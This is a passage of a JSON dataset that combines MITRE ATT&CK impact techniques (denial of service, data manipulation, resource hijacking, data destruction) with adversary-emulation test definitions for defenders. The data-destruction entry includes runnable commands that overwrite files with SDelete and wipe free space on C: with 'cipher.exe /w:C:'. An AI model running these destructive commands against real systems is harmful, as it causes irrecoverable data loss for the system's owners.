- "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n",
- "modified": "2022-04-12T14:48:40.313Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Endpoint Denial of Service",
- "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content",
- "Sensor Health: Host Status",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1494": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b",
- "type": "attack-pattern",
- "created": "2019-04-09T16:09:22.173Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1494",
- "url": "https://attack.mitre.org/techniques/T1494"
- },
- {
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "source_name": "FireEye APT38 Oct 2018"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- }
- ],
- "modified": "2020-03-02T14:30:49.400Z",
- "name": "Runtime Data Manipulation",
- "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1493": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8",
- "type": "attack-pattern",
- "created": "2019-04-09T16:08:20.824Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1493",
- "url": "https://attack.mitre.org/techniques/T1493"
- },
- {
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "source_name": "FireEye APT38 Oct 2018"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- }
- ],
- "modified": "2020-03-02T14:27:49.110Z",
- "name": "Transmitted Data Manipulation",
- "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1496": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "David Fiser, @anu4is, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Jay Chen, Palo Alto Networks",
- "Magno Logan, @magnologan, Trend Micro",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
- "created": "2019-04-17T14:50:05.682Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1496",
- "url": "https://attack.mitre.org/techniques/T1496"
- },
- {
- "source_name": "Unit 42 Hildegard Malware",
- "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
- "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
- },
- {
- "source_name": "CloudSploit - Unused AWS Regions",
- "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc",
- "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019."
- },
- {
- "source_name": "Kaspersky Lazarus Under The Hood Blog 2017",
- "url": "https://securelist.com/lazarus-under-the-hood/77908/",
- "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019."
- },
- {
- "source_name": "Trend Micro Exposed Docker APIs",
- "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html",
- "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021."
- },
- {
- "source_name": "Trend Micro War of Crypto Miners",
- "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html",
- "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021."
- },
- {
- "source_name": "GoBotKR",
- "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/",
- "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)",
- "modified": "2022-04-18T20:16:44.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Resource Hijacking",
- "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Sensor Health: Host Status",
- "Command: Command Execution",
- "File: File Creation",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1496"
- },
- "atomic_tests": []
- },
- "T1565.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
- "created": "2020-03-02T14:27:00.693Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1565.002",
- "url": "https://attack.mitre.org/techniques/T1565/002"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- },
- {
- "source_name": "FireEye APT38 Oct 2018",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "modified": "2022-04-19T23:04:44.258Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Transmitted Data Manipulation",
- "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1485": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Brent Murphy, Elastic",
- "David French, Elastic",
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Varonis Threat Labs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
- "type": "attack-pattern",
- "created": "2019-03-14T18:47:17.701Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1485",
- "url": "https://attack.mitre.org/techniques/T1485"
- },
- {
- "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
- "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
- "source_name": "Symantec Shamoon 2012"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
- "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
- "source_name": "FireEye Shamoon Nov 2016"
- },
- {
- "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
- "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
- "source_name": "Palo Alto Shamoon Nov 2016"
- },
- {
- "source_name": "Kaspersky StoneDrill 2017",
- "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
- "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
- },
- {
- "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
- "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
- "source_name": "Unit 42 Shamoon3 2018"
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- },
- {
- "source_name": "Data Destruction - Threat Post",
- "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/",
- "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020."
- },
- {
- "source_name": "DOJ - Cisco Insider",
- "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network",
- "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020."
- }
- ],
- "modified": "2021-03-25T14:47:48.728Z",
- "name": "Data Destruction",
- "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del
and rm
often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\
.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster
and DeleteGlobalCluster
events in AWS, or a high quantity of data deletion events, such as DeleteBucket
, within a short period of time may indicate suspicious activity.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Deletion",
- "Command: Command Execution",
- "File: File Deletion",
- "Snapshot: Snapshot Deletion",
- "Image: Image Deletion",
- "Process: Process Creation",
- "Volume: Volume Deletion",
- "Cloud Storage: Cloud Storage Deletion",
- "File: File Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ],
- "identifier": "T1485"
- },
- "atomic_tests": [
- {
- "name": "Windows - Overwrite file with Sysinternals SDelete",
- "auto_generated_guid": "476419b5-aebf-4366-a131-ae3e8dae5fc2",
- "description": "Overwrites and deletes a file using Sysinternals SDelete. Upon successful execution, \"Files deleted: 1\" will be displayed in\nthe powershell session along with other information about the file that was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sdelete_exe": {
- "description": "Path of sdelete executable",
- "type": "path",
- "default": "$env:TEMP\\Sdelete\\sdelete.exe"
- },
- "file_to_delete": {
- "description": "Path of file to delete",
- "type": "path",
- "default": "$env:TEMP\\T1485.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Secure delete tool from Sysinternals must exist on disk at specified location (#{sdelete_exe})\n",
- "prereq_command": "if (Test-Path #{sdelete_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/SDelete.zip\" -OutFile \"$env:TEMP\\SDelete.zip\"\nExpand-Archive $env:TEMP\\SDelete.zip $env:TEMP\\Sdelete -Force\nRemove-Item $env:TEMP\\SDelete.zip -Force\n"
- }
- ],
- "executor": {
- "command": "if (-not (Test-Path #{file_to_delete})) { New-Item #{file_to_delete} -Force }\nInvoke-Expression -Command \"#{sdelete_exe} -accepteula #{file_to_delete}\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Overwrite deleted data on C drive",
- "auto_generated_guid": "321fd25e-0007-417f-adec-33232252be19",
- "description": "RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.\nThis process is very slow and test execution may timeout. \nhttps://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware\nhttps://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "cipher.exe /w:C:\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1498": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
- "type": "attack-pattern",
- "created": "2019-04-17T20:23:15.105Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1498",
- "url": "https://attack.mitre.org/techniques/T1498"
- },
- {
- "source_name": "FireEye OpPoisonedHandover February 2016",
- "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
- "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019."
- },
- {
- "source_name": "FSISAC FraudNetDoS September 2012",
- "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
- "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."
- },
- {
- "source_name": "Symantec DDoS October 2014",
- "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf",
- "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- }
- ],
- "modified": "2022-03-25T20:05:40.122Z",
- "name": "Network Denial of Service",
- "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ]
- },
- "atomic_tests": []
- },
- "T1495": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89",
- "created": "2019-04-12T18:28:15.451Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1495",
- "url": "https://attack.mitre.org/techniques/T1495"
- },
- {
- "source_name": "MITRE Trustworthy Firmware Measurement",
- "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
- "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016."
- },
- {
- "source_name": "Symantec Chernobyl W95.CIH",
- "url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99",
- "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
